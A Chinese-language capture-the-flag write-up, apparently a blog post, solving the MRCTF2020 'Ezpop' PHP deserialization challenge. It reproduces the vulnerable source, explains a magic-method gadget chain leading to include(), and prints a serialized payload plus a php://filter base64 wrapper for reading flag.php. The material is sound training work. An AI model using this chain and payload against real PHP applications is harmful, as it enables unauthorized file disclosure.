乱七八糟的web题

乱七八糟的web题

[MRCTF2020]Ezpop(php反序列化)

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

拿到一个php反序列化的题 习惯上先把每个类定义一遍

$mod = new Modifier;
$show = new Show;
$test = new Test;

接着找哪里可以被利用得到flag

public function append($value){
        include($value);
    }

可以通过include()包含来获得flag 其中include()中的参数来自append()

 public function __invoke(){
        $this->append($this->var);
    }

append()中的参数来自于Modifier类中的var 但要注意源码中使用protected来定义的var 并不能直接通过$mod->var=flag.php修改 可以在源代码中直接修改

protected  $var = "flag.php";

接着需要使__invoke()被调用

__invoke() //调用函数的方式调用一个对象时的回应方法

这里有个小tips 简单的题目中会用调用参数的类型来为参数命名 即此处的$function

public function __get($key){
        $function = $this->p;
        return $function();
    }

所以只要把Test类中的p改为Modifier类 即可自动调用其中的__invoke()方法 所以构造:

$test->p = $mod;

接着再来触发__get()

__get() //读取不可访问属性的值时会被调用

public function __toString(){
        return $this->str->source;
    }

这里的str->source就可以用来触发__get()

$show->str = $test;

个人理解:将str=$test后运行str->source 因为Test类中并不存在source 所以不能被访问 即触发Test中的__get()

__toString() //类被当成字符串时的回应方法

public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }

然后找到唯一一处有字符串的地方来触发__toString()

$show->source = $show;

__construct()在我们之前定义类的时候就被自动调用了

最后梳理一下整体思路:

创建类 -> Show::__construct() -> Show::__toString() -> Test::__get() -> Modifier::__invoke -> Modifier::append()

附图解:
运行得到payload为

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}

但提交后没有回显 进行url编码后再次提交

运行flag.php会显示help me find flag 而题目源码又提示flag is in flag.php 所以需要进一步去flag.php的源码中找 需要用到文件包含中的php伪协议 正好对应没用过的__wakeup()方法 所以将一开始的var改为php://来查看源码

protected  $var = "php://filter/read=convert.base64-encode/resource=flag.php";

最后提交payload 将得到的base64编码进行解码得到flag

posted @ 2026-01-01 23:14  aax小能  阅读(3)  评论(0)    收藏  举报